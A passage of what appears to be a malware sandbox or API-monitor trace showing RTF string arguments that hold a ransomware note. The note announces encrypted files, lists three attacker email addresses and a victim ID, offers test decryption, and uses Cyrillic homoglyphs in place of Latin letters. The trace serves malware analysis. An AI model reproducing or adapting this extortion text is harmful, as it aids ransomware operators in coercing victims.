\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 